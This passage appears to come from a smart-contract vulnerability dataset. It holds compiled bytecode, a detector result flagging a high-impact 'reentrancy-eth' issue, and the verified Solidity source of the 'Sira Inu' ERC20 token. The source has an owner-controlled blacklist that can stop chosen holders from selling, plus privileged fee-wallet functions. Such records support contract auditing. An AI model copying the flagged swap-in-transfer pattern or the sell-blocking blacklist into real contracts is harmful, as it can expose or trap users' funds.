0919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b6000806116fe8385611c71565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061175a61145c565b905060006117688383611863565b3060009081526002602052604090205490915061178590826116f1565b30600090815260026020526040902055505050565b6006546117a790836116af565b6006556007546117b790826116f1565b6007555050565b60008080806117d860646117d28989611863565b9061147f565b905060006117eb60646117d28a89611863565b90506000611803826117fd8b866116af565b906116af565b9992985090965090945050505050565b60008080806118228886611863565b905060006118308887611863565b9050600061183e8888611863565b90506000611850826117fd86866116af565b939b939a50919850919650505050505050565b6000826000036118755750600061067a565b60006118818385611d50565b90508261188e8583611d2e565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b803561191b816118fb565b919050565b6000602080838503121561193357600080fd5b823567ffffffffffffffff8082111561194b57600080fd5b818501915085601f83011261195f57600080fd5b813581811115611971576119716118e5565b8060051b604051601f19603f83011681018181108582111715611996576119966118e5565b6040529182528482019250838101850191888311156119b457600080fd5b938501935b828510156119d9576119ca85611910565b845293850193928501926119b9565b98975050505050505050565b600060208083528351808285015260005b81811015611a12578581018301518582016040015282016119f6565b81811115611a24576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4d57600080fd5b8235611a58816118fb565b946020939093013593505050565b600080600060608486031215611a7b57600080fd5b8335611a86816118fb565b92506020840135611a96816118fb565b929592945050506040919091013590565b600060208284031215611ab957600080fd5b81356112ad816118fb565b8035801515811461191b57600080fd5b600060208284031215611ae657600080fd5b6112ad82611ac4565b600060208284031215611b0157600080fd5b5035919050565b60008060008060808587031215611b1e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b4f57600080fd5b833567ffffffffffffffff80821115611b6757600080fd5b818601915086601f830112611b7b57600080fd5b813581811115611b8a57600080fd5b8760208260051b8501011115611b9f57600080fd5b602092830195509350611bb59186019050611ac4565b90509250925092565b60008060408385031215611bd157600080fd5b8235611bdc816118fb565b91506020830135611bec816118fb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6a57611c6a611c42565b5060010190565b60008219821115611c8457611c84611c42565b500190565b600082821015611c9b57611c9b611c42565b500390565b600060208284031215611cb257600080fd5b81516112ad816118fb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d0d5784516001600160a01b031683529383019391830191600101611ce8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6a57611d6a611c42565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201259e83467f7642b81fe1514547c52f7cddb84213694d7e644155d9b218185a364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,660
0x4a23dee89bc989f4b575aeb76375a24718016ecb
/** *Submitted for verification at Etherscan.io on 2022-05-02 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SiraInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "Sira Inu"; string private constant _symbol = "SIRA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xa17FFdEF5AcFbF653496DA2B9Ea6275d3DcbB3E5); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129dd565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612aa7565b61051c565b6040516101a49190612b02565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b1d565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b93565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612cf6565b610643565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d3f565b6108a5565b60405161025e9190612b02565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d92565b61097e565b005b34801561029c57600080fd5b506102a5610a6e565b6040516102b29190612ddb565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612df6565b610a77565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e4f565b610af0565b005b34801561031957600080fd5b50610334600480360381019061032f9190612df6565b610ba2565b005b34801561034257600080fd5b5061034b610c7d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d92565b610cef565b6040516103819190612b93565b60405180910390f35b34801561039657600080fd5b5061039f610d40565b005b3480156103ad57600080fd5b506103b6610e93565b005b3480156103c457600080fd5b506103cd610f4c565b6040516103da9190612e8b565b60405180910390f35b3480156103ef57600080fd5b506103f8610f75565b60405161040591906129dd565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612aa7565b610fb2565b6040516104429190612b02565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612df6565b610fd0565b005b34801561048057600080fd5b506104896110ab565b005b34801561049757600080fd5b506104a0611125565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ea6565b611693565b6040516104d69190612b93565b60405180910390f35b60606040518060400160405280600881526020017f5369726120496e75000000000000000000000000000000000000000000000000815250905090565b600061053061052961171a565b8484611722565b6001905092915050565b61054261171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f32565b60405180910390fd5b600f5483856105de9190612f81565b11156105e957600080fd5b60105481836105f89190612f81565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b600069021e19e0c9bab2400000905090565b61064b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90612f32565b60405180910390fd5b60005b81518110156108a1573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070e5761070d612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078157610780612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108165750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f5576107f4612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088e5760016007600084848151811061083457610833612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089990613006565b9150506106db565b5050565b60006108b28484846118eb565b610973846108be61171a565b61096e8560405180606001604052806028815260200161385760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092461171a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e919092919063ffffffff16565b611722565b600190509392505050565b61098661171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a90612f32565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab861171a565b73ffffffffffffffffffffffffffffffffffffffff1614610ad857600080fd5b6031811115610ae657600080fd5b8060128190555050565b610af861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90612f32565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610baa61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612f32565b60405180910390fd5b60008111610c4457600080fd5b610c746064610c668369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbe61171a565b73ffffffffffffffffffffffffffffffffffffffff1614610cde57600080fd5b6000479050610cec81611fb9565b50565b6000610d39600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612025565b9050919050565b610d4861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612f32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e9b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90612f32565b60405180910390fd5b69021e19e0c9bab240000060158190555069021e19e0c9bab2400000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5349524100000000000000000000000000000000000000000000000000000000815250905090565b6000610fc6610fbf61171a565b84846118eb565b6001905092915050565b610fd861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90612f32565b60405180910390fd5b6000811161107257600080fd5b6110a260646110948369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec61171a565b73ffffffffffffffffffffffffffffffffffffffff161461110c57600080fd5b600061111730610cef565b905061112281612093565b50565b61112d61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612f32565b60405180910390fd5b60148054906101000a900460ff1615611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061309a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611722565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130891906130cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561136f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139391906130cf565b6040518363ffffffff1660e01b81526004016113b09291906130fc565b6020604051808303816000875af11580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f391906130cf565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147c30610cef565b600080611487610f4c565b426040518863ffffffff1660e01b81526004016114a99695949392919061316a565b60606040518083038185885af11580156114c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ec91906131e0565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff0219169083151502179055506115566064611548600169021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555061158d606461157f600269021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161164c929190613233565b6020604051808303816000875af115801561166b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168f9190613271565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613310565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906133a2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118de9190612b93565b60405180910390a3505050565b6000811161192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192590613434565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611951610f4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119bf575061198f610f4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8157601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a6f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611add5750601460179054906101000a900460ff165b15611b4a57601554811115611af157600080fd5b60165481611afe84610cef565b611b089190612f81565b1115611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b40906134a0565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bf25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c4b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1957600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf45750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cfd57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d2430610cef565b9050611d786064611d6a601254611d5c601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b811115611dd457611dd16064611dc3601254611db5601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e3f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e575750601460169054906101000a900460ff165b15611e7f57611e6581612093565b60004790506000811115611e7d57611e7c47611fb9565b5b505b505b611e8c83838361230c565b505050565b6000838311158290611ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed091906129dd565b60405180910390fd5b5060008385611ee891906134c0565b9050809150509392505050565b6000808303611f075760009050611f69565b60008284611f1591906134f4565b9050828482611f24919061357d565b14611f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5b90613620565b60405180910390fd5b809150505b92915050565b6000611fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231c565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612021573d6000803e3d6000fd5b5050565b600060095482111561206c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612063906136b2565b60405180910390fd5b600061207661237f565b905061208b8184611f6f90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cb576120ca612bb3565b5b6040519080825280602002602001820160405280156120f95781602001602082028036833780820191505090505b509050308160008151811061211157612110612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f